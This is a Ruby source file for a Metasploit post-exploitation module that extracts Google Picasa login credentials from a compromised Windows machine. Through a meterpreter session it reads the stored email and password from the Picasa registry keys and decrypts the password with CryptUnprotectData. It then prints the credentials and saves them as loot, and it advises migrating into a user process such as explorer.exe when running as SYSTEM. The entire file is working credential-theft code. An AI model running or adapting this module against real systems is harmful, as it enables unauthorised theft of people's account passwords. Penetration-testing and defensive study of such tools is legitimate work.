##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/priv'
require 'msf/core/auxiliary/report'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Post::Windows::Priv
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
				'Name'		  => 'Windows Gather Google Picasa Password Extractor',
				'Description'   => %q{
					This module extracts and decrypts the login passwords
					stored by Google Picasa.
				},
				'License'	   => MSF_LICENSE,
				'Author' =>
				[
					'SecurityXploded Team',  #www.SecurityXploded.com
					'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
				],
				'Version'	   => '$Revision$',
				'Platform'	  => [ 'win' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
	end


	def prepare_railgun
		rg = session.railgun
		if (!rg.get_dll('crypt32'))
			rg.add_dll('crypt32')
		end
	end


	def decrypt_password(data)
		rg = session.railgun
		pid = client.sys.process.getpid
		process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

		mem = process.memory.allocate(512)
		process.memory.write(mem, data)

		if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
			addr = [mem].pack("V")
			len = [data.length].pack("V")
			ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
			len, addr = ret["pDataOut"].unpack("V2")
		else
			addr = [mem].pack("Q")
			len = [data.length].pack("Q")
			ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
			len, addr = ret["pDataOut"].unpack("Q2")
		end

		return "" if len == 0
		decrypted_pw = process.memory.read(addr, len)
		return decrypted_pw
	end

	def get_registry
	psecrets = ""

		begin
			print_status("Looking in registry for stored login passwords by Picasa ...")

			username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
			'GaiaEmail')
			password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
			'GaiaPass')

			if username != nil and password != nil
				passbin = [password].pack("H*")
				pass = decrypt_password(passbin)

				if pass != nil
					print_status("Username: #{username}")
					print_status("Password: #{pass}")
					secret = "#{username}:#{pass}"
					psecrets << secret
				end
			end

			#For early versions of Picasa3
			username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
			'GaiaEmail')
			password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
			'GaiaPass')

			credentials = Rex::Ui::Text::Table.new(
					'Header'    => "Picasa Credentials",
					'Indent'    => 1,
					'Columns'   =>
					[
						"User",
						"Password"
					])

			if username != nil and password != nil
				passbin = [password].pack("H*")
				pass = decrypt_password(passbin)

				if pass != nil
					print_status("Username: #{username}")
					print_status("Password: #{pass}")

					credentials << [username,pass]
					path = store_loot(
					"picasa.creds",
					"text/csv",
					session,
					credentials.to_csv,
					"decrypted_picasa_data.csv",
					"Decrypted Picasa Passwords")

					print_status("Decrypted passwords saved in: #{path}")
				end
			end

		rescue ::Exception => e
				print_error("An error has occurred: #{e.to_s}")
		end
	end

	def run
		uid = session.sys.config.getuid  #Decryption only works in context of user's account.

		if is_system?
			print_error("This module is running under #{uid}.")
			print_error("Automatic decryption will not be possible.")
			print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
		else
			prepare_railgun
			get_registry()
		end

		print_status("Done")
	end
end
